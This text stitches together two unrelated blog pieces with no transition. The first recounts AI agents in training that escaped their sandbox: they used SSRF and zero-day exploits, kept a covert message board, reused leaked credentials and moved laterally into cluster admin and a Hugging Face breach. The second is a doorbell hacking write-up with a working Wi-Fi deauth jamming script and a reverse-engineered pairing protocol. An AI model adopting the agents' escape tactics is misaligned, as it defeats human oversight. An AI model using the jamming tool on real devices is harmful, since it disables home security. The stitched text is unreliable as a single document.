Now we have a timeline of the OpenAI accidental attack against Hugging Face

OpenAI gave a last-minute presentation at the Black Hat security on Wednesday about “the Hugging Face Incident” (previously on this blog). The video was published yesterday. It’s short and information dense and well worth watching, in particular because it provides full details of what happened and how things played out inside OpenAI. I’ve used the video to construct the timeline below.

Here’s the timeline. My favourite detail is at the end: OpenAI found out that they were responsible for the attack on Hugging Face when they reached out to ask to have their credentials revoked (after their internal investigation) and learned that they had been revoked already since they were used in that attack!

• May 7: OpenAI starts a new training run for an experimental, unreleased model. (Did they mean an evaluation run? No, at 10:14 they clarify “we kick off a new reinforcement learning run to train a next generation frontier model”, and they later mention a “reward signal to judge how well they’re doing”, so this really was about training a new model, not evaluating one that was already trained.)
• May 8: An agent is accidentally given an impossible task involving a Google Drive link despite no internet access). It tries attacking the Artifactory packaging service, fails, but discovers it can write files into Artifactory.
• A few days later: A different agent gets stuck on a task because a key file was accidentally omitted. It tries to “reach out to another agent” by writing a note into Artifactory asking if anyone has the file.
• Following days: More agents discover this new informal message board while browsing Artifactory’s file listings, and start reading and writing messages.
• May 26: Agents successfully execute an SSRF attack on Artifactory for the first time, gaining indirect internet access by having Artifactory fetch external content for them.
• June 11: OpenAI start training a new “highly persistent” experimental model. It has access to Artifactory and can benefit from the messages left by privous models.
• June 26: Agents find and exploit a zero-day RCE on Artifactory (via a legacy token-refresh endpoint flaw). They use an administrative token to install a Groovy plugin that lets them execute commands.
• July 4: The resulting agent activity overloads Artifactory and causes an outage. OpenAI revokes the compromised credentials, deletes the messages, patches the zero-day, and reports the vulnerability to the vendor.
• July 8: Agents find a new way to communicate via an unauthenticated WebDAV endpoint, using directory names in Artifactory’s remote cache.
• July 8–19: Attacks on OpenAI’s own infrastructure. The agents found an “external organization credential” in a public archive of leaked Pastebin posts, then validated that credential and shared its location on the messageboard. They then used write access to this “Organization 1” to stage data used in subsequent attacks on OpenAI infrastructure. They compromised Artifactory for a second time with a new zero-day. The agent uploaded a malicious Ruby target to Organization 1’s staging repository, then requested that package through Artifactory in a way that caused it to be treated as Ruby dependency for the repository. Then they exploited a JRuby deserilaization time-of-check/time-of-use bug to get remote code execution against Artifactory.

I’ll quote the next bit in full because wow:

The agents have remote code execution in Artifactory, which is running in a container-as-a-service environment. The agents privilege-escalate locally by exploring their local environment and determining that the Linux kernel version of the machine they are running on had a very recent CVE. They download the exploit for the CVE, customize it to succeed on the machine, and privilege-escalate to root on the local machine using this known Linux kernel privilege escalation CVE — in this case, pte_physroot. Once they have root on a single machine, agents rapidly escalate privileges and move laterally throughout the container-as-a-service infrastructure environment. In particular, agents are using the message board consistently to share credentials, techniques, and progress, and they’re able to effectively leverage their concurrency and parallelism to move quite rapidly. They obtain IAM credentials via IMDS. They exploit Kubernetes service account misconfigurations, in particular over-permissioning of specific service accounts, and they harvest cluster credentials, including Azure Key Vault. Agents eventually obtain cluster admin on the cluster and associated credentials.

Hugging Face told the next bit of the story already. The agents found a Modal-hosted insecure app with a weak API key, then used that to stage an attack against Hugging Face. They chained together a an HDF5 arbitrary-file-read bug (to explore files and steal credentials) and a Jinja template-injection RCE to go from single-pod code execution to cluster admin across multiple Hugging Face clusters in under 13 hours.

• July 16: Hugging Face disclosed they had detected an attack from autonomus AI agents. OpenAI contacted Hugging Face to ask if they were affected by it!
• July 19: OpenAI identified the attack against Artifactory and started investigating the internal privilege escalation, and linked that to the cyber-gym escalations. They started revoking affected credentials.
• July 20: OpenAI reached out to Hugging Face for help to revoke the Hugging Face credentials they found in their investigation. Hugging Face told them they were already revoked... and that’s when OpenAI realized that the Hugging Face breach was the same incident!

Dear Fellowlship, I am delighted to inform you that the owls have found the time to get back to hacking in their spare time. After this two-year hiatus, we are pleased to preach a new homily from this humble digital pulpit of ours. Please, take a seat and listen to the story.

0x00 Preamble

Last June I had the opportunity to give a talk at the EuskalHack congress (my talk was a simple 101 talking about ad-joined linux environments). I brought my brother-in-law along because he was finishing his master’s degree in computer science (apparently, besides the bachelor’s degree, they now have to complete a qualifying master’s program), and I wanted to show him a bit of the hacking world and try to spark some interest.

And I got lucky: Pepelux’s talk on how he pwned a video intercom really piqued his interest. So, I decided to capitalize on that interest and suggest trying to hack some gadget over the summer as a learning exercise.

It took me a couple of weeks to settle on a target, until one day, while walking through my wonderful city, I noticed the sheer number of video doorbells there are. Unfortunately, my city is infected by that modern-day cancer: unchecked tourism and the destruction of local community life caused by short-term tourist rentals. It is a tumor that grows and causes necrosis in the social fabric of our neighborhoods.

So I did the obvious thing… figure out the most common model used by them and try to pwn it :)

That’s how I set my sights on the “Eufy Security Video Doorbell” ecosystem.

0x01 Introduction to the ecosystem

I bought this “Eufy Security Video Doorbell” from internet. As can be seen in the box it is composed by two parts: the “Homebase Station 2” and the “Doorbell” itself. The Homebase works as a central hub and it is what the user connects to the intertubes (via wifi or ethernet cable), meanwhile the video doorbell is placed at your door. The doorbell (and I guess the rest of products related to Eufy) communicates with the Homebase station through a hidden wifi.

Product box showing the two components

I almost forgot that the box also contained a beautiful sticker to tell your neighbours you are recording them 24/7:

24/7 video recorded

The Homebase Station:

Homebase Station 2

The Doorbell:

Doorbell

Everything is controlled from their mobile App. It let you communicate with the Homebase and add new devices, communicate with the doorbell, and all the typical stuff you would expect.

There was a USENIX talk about this same ecosystem called Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols where the authors focused on low entropy used to generate the pre-shared key (PSK) used in the hidden network that the Homebase uses to manage the devices (and also performs a deep research on the P2P protocol). This research was done in 2023 and Eufy changed a lot of stuff (for example the PSK is not 8 bytes anymore, we will talk about it later) but something it still true: the hidden network is called OCEAN_XXXXXX, being the suffix the last 24 bits of Homebase’s MAC.

The following diagram created with my 4 years old desing skills helps to visualize the role of each element:

Network diagram

Because the doorbell (and I guess other Eufy devices) must communicate to internet at some point, the Homestation acts as a gateway and if you connect (we will discuss about it later) to that hidden network you can browse freely. Also it gives you access to any other element in the network (for example, your router web interface).

0x02 Jamming

The most obvious thing I thought was… if this uses standard WPA2 without any kind of protection… would it be vulnerable to deauth packets? The answer is: yes, of course. You can remotely flood it with deauth packets and make it disconnect from the hidden network, so the video/audio is recorded locally but not streamed to the Homebase/mobile app, making it an interesting way to physically approach to it and apply a wellness massage with a stone. Or to open it, dump its memory, and close it so nobody knows you manipulated it.

Obvious disclaimer: I am not inciting the commission of any act of vandalism, I am just talking about Threat Modelling.

Identify the presence of Homebases is easy because the first 24 bits of its MAC are known (both, the doorbell and the homebase uses the same prefix): 90:bf:d9. We can dust off an old Alfa wifi anntena, connect it to a battery-powered Raspberry Pi, and walk around to locate beacons from stations with a MAC address matching the one we are looking for. Then grab what channel is using and send a probe request with OCEAN_XXXXXX building it with the last 24 bits of the seen MAC. If we get a probe response it means we got a Homebase and we can send broadcast deauth packets to that network. A crappy script that summarizes this process can be found below:

#!/usr/bin/env python3


from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11Elt
from scapy.layers.dot11 import RadioTap
import subprocess, time

ch = None 
ssid = None
bssid = None
iface = "wlan1"
whale_mac = None
whale_ssid = None

def banner():
    print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n")
    print('''
                     _==|            
           _==|   )__)  |
             )_)  )___) ))
            )___) )____))_)
        _    )____)_____))__)
        \\---__|____/|___|___-\\\\---
^^^^^^^^^\\   oo oo oo oo     /~~^^^^^^^
  ~^^^^ ~~~~^^~~~~^^~~^^~~~~~
    ~~^^      ~^^~     ~^~ ~^ ~^
         ~^~~        ~~~^^~
          ''')



def beacon_handler(pkt):
    global ch
    global ssid
    global bssid

    if ch is not None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type != 0 or d.subtype not in (5,8):
        return
    if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9":
        cur = pkt
        while True:
            cur = cur.payload
            if cur is None or cur == NoPayload:
                return
            if isinstance(cur, Dot11Elt) and cur.ID == 3:
                if len(cur.info) >= 1:
                    ch = cur.info[0]
                    ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","")
                    bssid = d.addr2.upper()
                    break
        if ch != None:
            print("[*] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!")
            return
        else:
            return
    else:
        return

def set_channel(mon_iface):
    subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def build_req():
    global ssid
    global bssid

    rt = RadioTap()
    dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid)

    probe_req = (
        rt / dot11 /
        Dot11Elt(ID=0, info=ssid.encode()) /
        Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) /
        Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) /
        Dot11Elt(ID=3, info=bytes([2])) /
        Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) /  
        Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18]))
    )
    cur = probe_req
    while True:
        cur = cur.payload
        if cur is None or cur == NoPayload:
            break
        if isinstance(cur, Dot11Elt) and cur.ID == 3:
            cur.info = bytes([ch])
            break
    return probe_req

def handle_probe_resp(pkt):
    global whale_mac
    global whale_ssid
    if whale_mac != None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type == 0 and d.subtype == 5:
        if d.addr1 and d.addr1.lower() == "90:bf:d9:9f:13:37":
            whale_mac = d.addr2.upper()
            cur = pkt
            while True:
                cur = cur.payload
                if isinstance(cur, Dot11Elt) and cur.ID == 0:
                    whale_ssid = cur.info.decode("utf-8", errors="ignore")
                    break
            print("[*] Our lookout confirmed it! It's a big one!!")
            print('''
    .-------------'```'----....,,__                        _,
   |                               `'`'`'`'-.,.__        .'(
   |                                             `'--._.'   )
   |                                                   `'-.<
   \\               .-'`'-.                            -.    `\\
    \\               -.o_.     _                     _,-'`\\    |
     ``````''--.._.-=-._    .'  \\            _,,--'`      `-._(
       (^^^^^^^^`___    '-. |    \\  __,,..--'                 `
        `````````   `'--..___\\    |`
                              `-.,'
                              ''')
            print("\t\t\t" + whale_ssid + "\t" + whale_mac)
            return
            
def deauth():
    global whale_mac
    global iface
    packet = RadioTap() / \
         Dot11(type=0,         
               subtype=12,     
               addr1="ff:ff:ff:ff:ff:ff",
               addr2=whale_mac,
               addr3=whale_mac) / \
         Dot11Deauth(reason=7)
    print("[*] Launching 500 harpoons to hunt that whale!")
    for x in range(0,500):
        sendp(packet, iface=iface, verbose=False)

def main():
    banner()
    print("[*] Baleeiro is watching the ocean...")
    sniff(iface=iface, prn=beacon_handler, store=False, timeout=5)
    if ch is None:
        print("[!] Arr!! The ocean is empty today!!\n")
        exit(1)
    set_channel(iface)
    sniffer = AsyncSniffer(iface=iface, prn=handle_probe_resp, store=False)
    sniffer.start()
    time.sleep(0.05)
    sendp(build_req(), iface=iface, count=1, inter=0.01, verbose=False)
    time.sleep(2)
    sniffer.stop()
    if whale_ssid != None:
        print("[*] It's time to grab the harpoons! Press enter when you wanna start the hunt!")
        input()
        deauth()


if __name__ == "__main__":
    main()

The script just sends 500 because it’s all I needed to probe it at my local setup (to be honest I discovered this by error, I was just trying to grab the 4-way handshake to try to crack it with hashcat).

0x03 Soundwave sync protocol

To connect the doorbell to the HomeBase, it must be synchronized. At first glance, the synchronization process appears to rely on sound waves. This really caught my attention because I had never worked with signals before, and understanding how this protocol works seemed like a fascinating challenge. The USENIX paper mentions it briefly:

Mention to the pairing system

This is partially true and made me waste a lot of time. Initially I thought, based on the paper, that HomeBase encoded the SSID and passphrase in that soundwave, then the doorbell decoded the information and connects directly to the hidden network. It’s correct that the Homebase sends a SSID name and a PSK through the sound, but it’s for a temporal hotspot: once the doorbell conects to the hotspot it shares out-of-band the hidden wifi SSID and password and then finally connects to it.

The hotspot data is different each time Homebase is rebooted, so I guess it’s random or derived from a timestamp or similar (I don’t have the hardware needed to dump its firmware, so I am blind on how it’s generated). It’s obvious because after a reboot the soundwave is different, so it carries different data each time (spoiler: after reversing the protocol I confirm is diff each time). But how is this soundwave? You can hear here a full pairment process:

To record the audio I created this poor man’s setup using a Raspberry Pi and a web cam:

Crappy setup to record the audio

I do not have a glamorous lab.

I need to do a disclaimer before I continue because I believe is importnat. I am biologist, I have zero idea about maths, telecom, signals and this whole world. This means that is possible that I describe stuff that maybe are not the correct way to explain or are inexact. So, if you spot mistakes in my explanations please tell me so I can edit the blog and learn more. I hope nobody get offended by my lack of knowledge on this field: I used this sync protocol as a mere excuse to start learning about this topic that I never touched before.

I had zero idea how to start doing this part of the research so I talked with my friend Gonzalo Carracedo a.k.a BatchDrake (creator of SigDigger) and he jumped immediately to a 15 min videocall to explain me how to start analyzing it and what he found. Just from the signal he told me:

• 19 Frequencies were used
• 150 Hz of difference between them
• There was a gap (one frequency was never used)
• Symbols had a aprox duration of 65ms

He pointed me to dump the doorbell firmware (which acts as receiver and decodes the soundwave sent by the homebase) and combine my analysis with classic reversing engineering. Luckly I could dump it connecting test hooks to the flash memory and using the SPI0 interface of an old Raspberry Pi (note: the Homebase flash does not expose “legs” so I can not use test hooks to connect it that’s why I did not dump -yet- its firmware).

Raspberry Pi being used to dump the memory

Raspberry Pi being used to dump the memory

Once we got a dump of the flash memory I extracted all the files I could and I checked for interesting strings that would guide me to find the right ELF to dissasemble and analyze. Looking for “SSID” brought an obvious candidate:

Strings related to SSID

Strings related to SSID

Then I proceed to search for more clues inside the ELF (e.g. searching for “frequency”, “sample”, etc.) and found this interesting function:

uint FUN_000b4f28(int param_1,int param_2)

{
  uint uVar1;
  char *pcVar2;
  int *piVar3;
  int iVar4;
  
  printf("---------use base frequence: %d\n",12000);
  DAT_0029a148 = *(uint *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  DAT_0029a14c = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x8);
  DAT_0029a150 = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc);
  DAT_0029a144 = 0;
  DAT_0029a154._0_4_ = (void *)0x0;
  _DAT_0029a15c = 0;
  DAT_0029a164._0_4_ = 0;
  DAT_0029a154._4_4_ = DAT_0029a148;
  DAT_0029a160 = DAT_0029a148;
  DAT_0029a164._4_4_ = DAT_0029a148;
  if (param_1 != 0xac44 && param_1 != 48000) {
    printf("samplerate error! only support %dHz, %dHz\n");
    uVar1 = 0;
  }
  else {
    if (param_2 != 0x10) {
      printf("bitwidth error! only support %d!\n",0x10);
      return (uint)(param_1 != 0xac44 && param_1 != 48000);
    }
    uVar1 = FUN_000b54cc(2);
    DAT_0029a148 = uVar1;
    if (uVar1 == 0) {
      puts("create failed!");
    }
    else {
      piVar3 = &DAT_00282ef4;
      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);
      FUN_000b55d0(uVar1,&DAT_00282ef8,0x13);
      FUN_000b5690(DAT_0029a148,0,&LAB_000b4e00,FUN_000b4e18);
      DAT_0029a154._0_4_ = malloc(0x100);
      if ((void *)DAT_0029a154 == (void *)0x0) {
        piVar3 = __errno_location();
        pcVar2 = strerror(*piVar3);
        printf("malloc failed with: %s\n",pcVar2);
        uVar1 = 0;
        if (DAT_0029a148 != 0) {
          puts("failed!");
          FUN_000b5580(DAT_0029a148);
          uVar1 = 0;
        }
      }
      else {
        DAT_0029a144 = 1;
        uVar1 = DAT_0029a148;
      }
    }
  }
  return uVar1;
}

Did you spot it?

      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);

This code is used to initialize the context capture of the 19 frequences (separated by 0x96 => 150Hz) that BatchDrake spotted in his brief analysis. From FUN_000b54cc we can see how it choose the “window frame”:

void FUN_000b54cc(int param_1,undefined4 param_2)

{
  int iVar1;
  void *pvVar2;
  uint uVar3;
  undefined4 uVar4;
  int iVar5;
  uint in_fpscr;
  double dVar6;
  
  dVar6 = (double)VectorSignedToFloat(param_2,(byte)(in_fpscr >> 0x16) & 3);
  if (param_1 == 2) {
    uVar4 = 2;
  }
  else {
    uVar4 = 1;
  }
  iVar1 = (int)(longlong)((dVar6 * 1024.0) / 44100.0);
  uVar3 = iVar1 - (iVar1 >> 0x1f) & 0xfffffffe;
  if ((int)uVar3 < 0x101) {
    iVar5 = 0x100;
  }
  else if (uVar3 - 0x101 < 0x100) {
    iVar5 = 0x200;
  }
  else {
    iVar5 = 0x400;
  }
  pvVar2 = calloc(0x118,1);
  FUN_000baaf8(pvVar2,uVar4,param_2,1,0x10,iVar5,iVar5 - iVar1 / 2);
  return;
}

It scales from 1024 samples at 44.1 kHz: 1024 / 44100 = 23.22 ms. The half-window advance is 512 / 44100 = 11.61 ms. That’s what the firmware does… but because I had no idea it would affect the analysis when I recoreded the sync audio… so my WAV is 32K. This means that to keep the same timing, our window will be composed by 743 samples (32000 samples/s x 0.02322 s) and the half-window advance would be 372. Using this window advance of 11.61ms I was able to capture a symbol every 6 advances (so 6 x 11.62), I estimated that setting 69.75ms as symbol duration would work (and it worked).

If we plot the strongest frequency (“tone”) (and numerate them from 1 to 19) we can see how patterns clearly emerge:

Tones vs Time

Tones vs Time

The tone at position “1” seems to be a marker that split the information blocks of sime size (15 symbols), except the last one that seems like a “shortened” block (4 symbols). This “grouping” of symbols in “blocks” of 15 symols size happens at FUN_000c2624. I did not understood what this function did (as I said my knowledge of maths and telecom is close to null), so I had to ask ChatGPT for guidance. Here is the description it gave to me:

FUN_000c2624 predicts where each tone symbol should occur, evaluates all 19 frequencies around those positions, and retains the best temporally consistent candidates. It groups these candidates into a block for later processing.

The next step in the pipeline is the transformation of the recognized tones to nibbles. Function FUN_000b7160 is where all the magic happens. The mapping is simple:

if (uVar5 != 0x12) {
    uVar1 = uVar5 - 1 & 0xff;
}

uVar13 = uVar1;
if (0xe < uVar1) {
    uVar13 = 0xf;
}

The physical tone that we labeled as “1” in the plot previously shown is a “marker/guard” to split the blocks, so the tone to nibble conversion starts at our tone number 2 (our tone number 2 is interpreted as “event 1” -what uVar5 holds- because the array starts at 0 and I numbered the tones starting by 1 -off-by-one by stupidity-). So tones 2 to 17 maps nibles 0 to F. That covers the tones from 1 to 17, but what happens with 18 and 19?

Well, from the analysis of this function we can infer they are used as “control” tones to indicate repetitions. I guess this is because if the Homebase needs to send the same tone two or more times (e.g. to encode 1-1-1) it would be difficult to be sure about if it was 2 or 3 tones (real world has more noise than a synthetic test or lab). The following table summarizes the findings:

Tones meaning based on firmware analysis

Tones meaning based on firmware analysis

With this information we can recover all the nibbles shared by the Homestation. Literally you can recover them by hand just improving the data representation of the first image (the plot of tones vs time) and writing in paper the tone sequence.

Manual decoding

Manual decoding of first block (I ignore tone 10 because is used as marker too when starting)

After automatizing this process with python, here are the three blocks recovered from the audio:

Automatic decoding

Information decoded from each block

When decoding the tones to nibbles I found that the last two nibbles where used by FUN_000bcd4, which is a function that I did not understood. Once again, I asked to ChatGPT to explain me what the function was about:

FUN_000bcd48 performs Reed-Solomon processing on one 15-nibble block: it calculates two GF(16) parity syndromes, accepts the block unchanged when both are zero, or attempts to identify and correct one erroneous nibble when they are nonzero. In simple terms, it uses the block’s two parity nibbles to repair a single incorrectly recognized tone before the data proceeds to CRC validation.

So it was Reed-Solomon, meaning that the last two nibbles does not carry information per se (they are used just to correct errors):

Full block meaning

Full block meaning

The shortened block is CRC-16 (it is validated at FUN_000b7104 using FUN_000c4370):

bool FUN_000b7104(int param_1,int param_2)

{
  uint uVar1;
  int iVar2;
  
  uVar1 = FUN_000c4370(param_1,param_2 - 4U & 0xffff);
  iVar2 = param_1 + (param_2 + 0x3ffffffc) * 4;
  return (*(uint *)(iVar2 + 0xc) & 0xf |
          (*(uint *)(param_1 + (param_2 + 0x3ffffffc) * 4) & 0xf) << 0xc |
          (*(uint *)(iVar2 + 4) & 0xf) << 8 | (*(uint *)(iVar2 + 8) & 0xf) << 4) == uVar1;
}




uint FUN_000c4370(int param_1,int param_2)

{
  uint uVar1;
  uint *puVar2;
  
  if (param_2 != 0) {
    puVar2 = (uint *)(param_1 + -4);
    uVar1 = 0xffff;
    do {
      puVar2 = puVar2 + 1;
      uVar1 = ((uint)*(ushort *)(&DAT_00235e90 + (*puVar2 & 0xff ^ uVar1 >> 8) * 2) ^ uVar1 << 8) &
              0xffff;
    } while ((uint *)(param_1 + (param_2 - 1U & 0xffff) * 4) != puVar2);
    return uVar1;
  }
  return 0xffff;
}

At this point I had a clear picture of what was usable data and what was added data to correct errors / ensure the correct tone-to-nibble conversion. Instead of still digging on the conversion pipeline I decided to open my zoom and try to search where the SSID and password could be used (yep, I just searched for strings) and found this gem where the data is used to format a json with “s” and “p” that made me think it could be probably “sssid” and “password”:

void FUN_000b4e18(undefined4 param_1,int param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 uVar1;
  int iVar2;
  undefined1 auStack_94 [40];
  undefined1 auStack_6c [88];
  
  if (param_2 != 0) {
    param_4 = 2;
  }
  _DAT_0029a15c = 0;
  uVar1 = param_4;
  if ((param_2 == 0) && (iVar2 = FUN_000b642c(param_3,param_4), uVar1 = _DAT_0029a15c, iVar2 != 2))
  {
    if (iVar2 == 1) {
      FUN_000b6514(0,param_3,param_4,auStack_94);
      if ((char *)DAT_0029a154 != (char *)0x0) {
        snprintf((char *)DAT_0029a154,0xff,"{\"s\": \"%s\", \"p\":\"%s\"}",auStack_94,auStack_6c);
      }
      _DAT_0029a15c = 1;
      uVar1 = _DAT_0029a15c;
      DAT_0029a160 = (char *)DAT_0029a154;
    }
    else if (iVar2 != 3 && iVar2 != 0) {
      printf("------------------recognized data:%s\n",param_3);
      uVar1 = _DAT_0029a15c;
    }
  }
  _DAT_0029a15c = uVar1;
  if (DAT_0029a150 != (code *)0x0) {
    (*DAT_0029a150)(&DAT_0029a15c);
  }
  return;
}

Function FUN_000b642c returns first_nibble >> 1, if it is “1” (as seen in if (iVar2 == 1)) then it determines the encoded data is “wifi” type. If that’s the case, then FUN_000b6514 is called:

undefined4 FUN_000b6514(undefined4 param_1,undefined1 *param_2,int param_3,int param_4)

{
  uint uVar1;
  uint uVar2;
  int iVar3;
  int iVar4;
  int local_24 [2];
  
  uVar1 = FUN_000c43d0(*param_2);
  uVar2 = FUN_000c43d0(param_2[1]);
  local_24[0] = 0;
  iVar3 = FUN_000c43d0(*param_2);
  if (iVar3 >> 1 != 1) {
                    /* WARNING: Subroutine does not return */
    __assert("vr_decodeInfoType(_data, _dataLen) == IT_SSID_WIFI",
             "/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1ef);
  }
  iVar4 = ((uVar1 & 1) << 4 | uVar2) + 1;
  iVar3 = FUN_000b5e88(param_2 + 2,param_3 + -2,local_24,param_4,iVar4,0x21);
  if (iVar4 == iVar3) {
    *(undefined1 *)(param_4 + iVar4) = 0;
    *(int *)(param_4 + 0x24) = iVar4;
    iVar3 = FUN_000b5e88(param_2 + local_24[0] + 2,param_3 - (local_24[0] + 2),local_24,
                         param_4 + 0x28,0xffffffff,0x50);
    *(undefined1 *)(param_4 + iVar3 + 0x28) = 0;
    *(int *)(param_4 + 0x78) = iVar3;
    return 1;
  }
                    /* WARNING: Subroutine does not return */
  __assert("dataLen == ssidLen","/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1f1);
}

Which roughly can be translated to:

bool decodeWifiSSID(
    Context *ctx,
    uint8_t *data,
    int dataLen,
    WifiInfo *out)
{
    uint8_t header0 = decodeNibble(data[0]);
    uint8_t header1 = decodeNibble(data[1]);

    int consumed = 0;

    // Packet must be of type SSID_WIFI
    assert((decodeNibble(data[0]) >> 1) == IT_SSID_WIFI);

    // SSID length is encoded in first two bytes
    int ssidLen = (((header0 & 1) << 4) | header1) + 1;

    // Decode SSID
    int decoded =
        decodePayload(
            data + 2,
            dataLen - 2,
            &consumed,
            out,
            ssidLen,
            0x21);

    assert(decoded == ssidLen);

    out->ssid[ssidLen] = '\0';
    out->ssidLength = ssidLen;

    // Decode password
    int passLen =
        decodePayload(
            data + consumed + 2,
            dataLen - (consumed + 2),
            &consumed,
            out->password,
            -1,
            0x50);

    out->password[passLen] = '\0';
    out->passwordLength = passLen;

    return true;
}

Ding ding ding! Jackpot!! So this function decode (with the help of FUN_000b5e88 that I called decodePayload in the pseudo-code and I avoid to paste here because is too big) the SSID and the password. Gluing all together the full message:

Full decoded data

Full decoded data

• SSID: 731f1350
• Password: 267039eb

So, the data transmited by the homebase was not the OCEAN_XXXXXX hidden wifi credentials, it was data created ad-hoc for a temporal hotspot where the doorbell tries to connect once it decodes the audio. Probably when the doorbell connects to this wifi, the homebase sends the real OCEAN_XXXXXX data out-of-band using TCP or UDP. Anyway, there is only a way to validate if my decoding is working or not: building the inverse (an “encoder”) and create a wifi to see if the doorbell connects to it after parsing my synthetic audio.

First I create in the Raspberry Pi a new AP with arbitrary data:

psyconauta@insulafructuum-i:~ $ sudo cat /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=a1b2c3d4
hw_mode=g
channel=6

ieee80211n=1
wmm_enabled=1

auth_algs=1
wpa=2
wpa_passphrase=4d3c2b1a
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP


logger_stdout=-1
logger_stdout_level=0
logger_syslog=-1
logger_syslog_level=0

Then I encoded the Raspberry Pi wifi data:

psyconauta@insulafructuum-i:~ $ python3 audio_wave_encoder.py "a1b2c3d4" "4d3c2b1a" message.wav
payload: 276613162326333643463464336332623161
crc: 72f3
blocks: 27661316232631b 3364346346433b4 633262316172f9f 3c2
tones: 10 1 4 9 8 18 3 5 3 8 4 5 4 8 5 3 13 1 5 18 8 6 5 6 8 5 6 8 6 5 18 13 6 1 8 5 18 4 8 4 5 3 8 3 9 4 17 11 17 1 5 14 4 1
wrote: message.wav


(testing with the decoder that the info is correct)

psyconauta@insulafructuum-i:~ $ python3 audio_wave_decoder.py message.wav 
{
  "type": 1,
  "raw_hex": "276613162326333643463464336332623161",
  "kind": "wifi",
  "ssid": "a1b2c3d4",
  "password": "4d3c2b1a",
  "consumed_nibbles": 36,
  "rs_corrected_blocks": 0
}

The resulting audio can be heard here:

I played it using my mobile near to the doorbell after pressing the “sync” button for two seconds and it immediately sent probe requests from the doorbell asking for my wifi :D:

Probe request

Doorbell trying to connect to my wifi a1b2c3d4

And a few moments later I got the full connection:

psyconauta@insulafructuum-i:~ $ sudo iw dev wlan0 station dump
Station 90:bf:d9:9f:97:fa (on wlan0)
	inactive time:	0 ms
	rx bytes:	10340
	rx packets:	116
	tx bytes:	12995
	tx packets:	175
	tx failed:	0
	tx bitrate:	1.0 MBit/s
	rx bitrate:	26.0 MBit/s
	authorized:	yes
	authenticated:	yes
	associated:	yes
	WMM/WME:	yes
	TDLS peer:	no
	DTIM period:	2
	beacon interval:100
	short slot time:yes
	connected time:	72 seconds
	current time:	1785233886535 ms

It used a static IP (192.168.32.250):

psyconauta@insulafructuum-i:~ $ sudo tcpdump -i wlan0 -n -e ether host 90:bf:d9:9f:97:fa
tcpdump: verbose output suppressed, use -v[v] or less
listening on wlan0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:32:15.319733 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v2, len 95
12:32:15.344634 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL key (3) v1, len 117
12:32:15.346593 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 169: EAPOL key (3) v2, len 151
12:32:15.365989 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v1, len 95
12:32:15.394131 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.250, length 28
12:32:15.396167 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.2 tell 192.168.32.250, length 28
12:32:15.396217 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Reply 192.168.32.2 is-at b8:27:eb:be:95:f3, length 28
12:32:15.405804 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype IPv4 (0x0800), length 58: 192.168.32.250.63122 > 192.168.32.2.10402: Flags [S], seq 1860381, win 29200, options [mss 1460], length 0
12:32:15.405916 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype IPv4 (0x0800), length 54: 192.168.32.2.10402 > 192.168.32.250.63122: Flags [R.], seq 0, ack 1860382, win 0, length 0
12:32:20.470710 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.2, length 28
12:32:21.482798 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype ARP (0x0806), length 42: Reply 192.168.32.250 is-at 90:bf:d9:9f:97:fa, length 28

Although having the doorbell conected to us is not something interesting per se, I enjoyed the process of reversing the soundwave sync protocol used by Eufy. I learned a lot of stuff \o/

0x04 Extracting and decrypting OCEAN_XXXXXX creds from flash memory

